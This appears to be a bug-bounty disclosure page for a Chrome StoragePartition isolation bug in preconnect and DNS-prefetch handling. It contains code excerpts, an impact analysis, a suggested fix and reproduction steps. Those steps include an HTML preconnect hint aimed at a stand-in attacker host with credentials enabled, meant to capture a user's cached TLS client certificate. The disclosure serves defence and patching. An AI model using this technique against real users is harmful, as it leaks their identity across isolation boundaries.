Improper resource exposure in Preload (CVE-2026-79031)
NetworkHintsHandlerImpl hardcodes a null StoragePartitionConfig when routing preconnect and DNS prefetch hints to PreconnectManager, causing requests from isolated contexts to use the default profile's NetworkContext. An attacker could leak cached TLS client certificates and expose main profile proxy/DNS configurations to the isolated partition.
Google Chrome
Originally disclosed on Chrome VRP
- Fix shipped in 4 months
Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team. Please see go/chrome-ai-generated-security-bugs-faq for more information.
Overview: NetworkHintsHandlerImpl hardcodes a null StoragePartitionConfig when routing preconnect and DNS prefetch hints to the PreconnectManager. This causes requests originating from isolated contexts (like Isolated Web Apps or <webview> tags) to incorrectly execute using the default profile's NetworkContext, potentially leaking cached TLS client certificates and exposing main profile proxy/DNS configurations to the isolated partition.
Affected files:
chrome/browser/predictors/network_hints_handler_impl.cccontent/browser/preloading/preconnect/preconnect_manager_impl.ccchrome/browser/chrome_browser_interface_binders.ccchrome/browser/chrome_content_browser_client_receiver_bindings.cc
Estimated timestamp from git blame: 2026-01-22
Summary
NetworkHintsHandlerImpl, which handles <link rel=preconnect> and <link rel=dns-prefetch> hints via Mojo, fails to respect the StoragePartition boundaries of the calling renderer. When passing the preconnect request to PreconnectManagerImpl, it unconditionally hardcodes the storage_partition_config argument to nullptr. This causes the preconnect logic to fall back to the BrowserContext's default StoragePartition. Consequently, isolated contexts (such as Isolated Web Apps or custom <webview> partitions) perform network operations using the main browsing profile's NetworkContext.
Technical Details
In chrome/browser/predictors/network_hints_handler_impl.cc, the Preconnect and PrefetchDNS methods receive requests from the renderer. When they pass these requests to the PreconnectManager, they explicitly pass a nullptr for the configuration:
// chrome/browser/predictors/network_hints_handler_impl.cc (line 92)
preconnect_manager_->StartPreconnectUrl(
url.GetURL(), allow_credentials,
GetPendingNetworkAnonymizationKey(render_frame_host),
kNetworkHintsTrafficAnnotation, /*storage_partition_config=*/nullptr,
// ...
The Mojo interface network_hints::mojom::NetworkHintsHandler is bound for every RenderFrameHost in chrome/browser/chrome_browser_interface_binders.cc without any StoragePartition filtering.
When PreconnectManagerImpl processes these jobs, it calls GetNetworkContext() to retrieve the appropriate network stack. Because the config is null, it defaults to the main profile:
// content/browser/preloading/preconnect/preconnect_manager_impl.cc (line 463-469)
auto* network_context =
browser_context_
->GetStoragePartition(
storage_partition_config
? *storage_partition_config
: content::StoragePartitionConfig::CreateDefault(
browser_context_))
->GetNetworkContext();
Security Impact
This is a potential bypass of StoragePartition isolation. While the renderer does not receive direct responses from these fire-and-forget hints, the bypass allows an isolated context to pollute and read from the main profile's state:
- Client Certificate Leakage: If an isolated context issues a preconnect hint with
crossorigin="use-credentials",allow_credentialsis set totrue. The resulting preconnect uses the defaultNetworkContext, which will query itsSSLClientAuthCache. If the user has a cached TLS client certificate for the target origin in their main profile, it will be automatically presented to the attacker's server during the preconnect handshake, leaking the user's identity to the isolated partition. - Configuration Leakage/Pollution: Preconnects will follow the main profile's proxy configuration and DNS settings (including DoH). They will also populate and utilize the main profile's Host Cache.
Potential Reproduction Steps
Note: Our tooling agent does not run code; these are suggested steps to verify the issue.
- Create an Isolated Web App or a Chrome App with a
<webview partition="persist:attacker">to establish an isolatedStoragePartition. - Within the isolated context, inject a preconnect hint targeting an attacker-controlled HTTPS server:
<link rel="preconnect" href="https://attacker.com" crossorigin="use-credentials">. - Monitor the
chrome://net-exportlogs. Observe that the preconnect request and proxy/DNS lookups originate from the default profile'sNetworkContextrather than the isolated partition's context. - If a TLS client certificate was previously authorized for
attacker.comin the main profile, the attacker's server will receive the certificate during the TLS handshake initiated by the isolated context.
Suggested Fix
In chrome/browser/predictors/network_hints_handler_impl.cc, the PrefetchDNS and Preconnect methods should retrieve the StoragePartitionConfig from the calling RenderFrameHost and pass it to the PreconnectManager, rather than passing nullptr. This can be done via render_frame_host->GetStoragePartition()->GetConfig().
Evaluated with Chrome root at commit: 661452647ddb2827305122ff3273bd5dea403f09
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The code passes a null StoragePartitionConfig to PreconnectManager, causing it to fall back to the default StoragePartition instead of the caller's partition.
Impact
An isolated context could leak cached TLS client certificates and expose main profile proxy/DNS configurations, potentially revealing the user's identity.
What the attacker needed
Isolated context (IWA or webview); attacker-controlled server; cached client certificate in main profile
The fix
The PrefetchDNS and Preconnect methods should retrieve the StoragePartitionConfig from the calling RenderFrameHost and pass it to PreconnectManager instead of nullptr.
How it was found
- Create an Isolated Web App or a Chrome App with a <webview> tag using a custom partition to establish an isolated StoragePartition.
- Within the isolated context, inject a preconnect hint targeting an attacker-controlled HTTPS server with credentials allowed.
- Monitor chrome://net-export logs to observe that the preconnect request and proxy/DNS lookups originate from the default profile's NetworkContext.
- If a TLS client certificate was previously authorized for the target origin in the main profile, the attacker's server receives the certificate during the TLS handshake.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a web page asks the browser to pre-connect to a server (to speed up loading), the browser should use the same isolated 'container' as the page. Here, the code always uses the main browser profile's network settings instead. This means a malicious isolated app could trick the browser into using the main profile's saved client certificates or proxy settings, potentially revealing private information.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.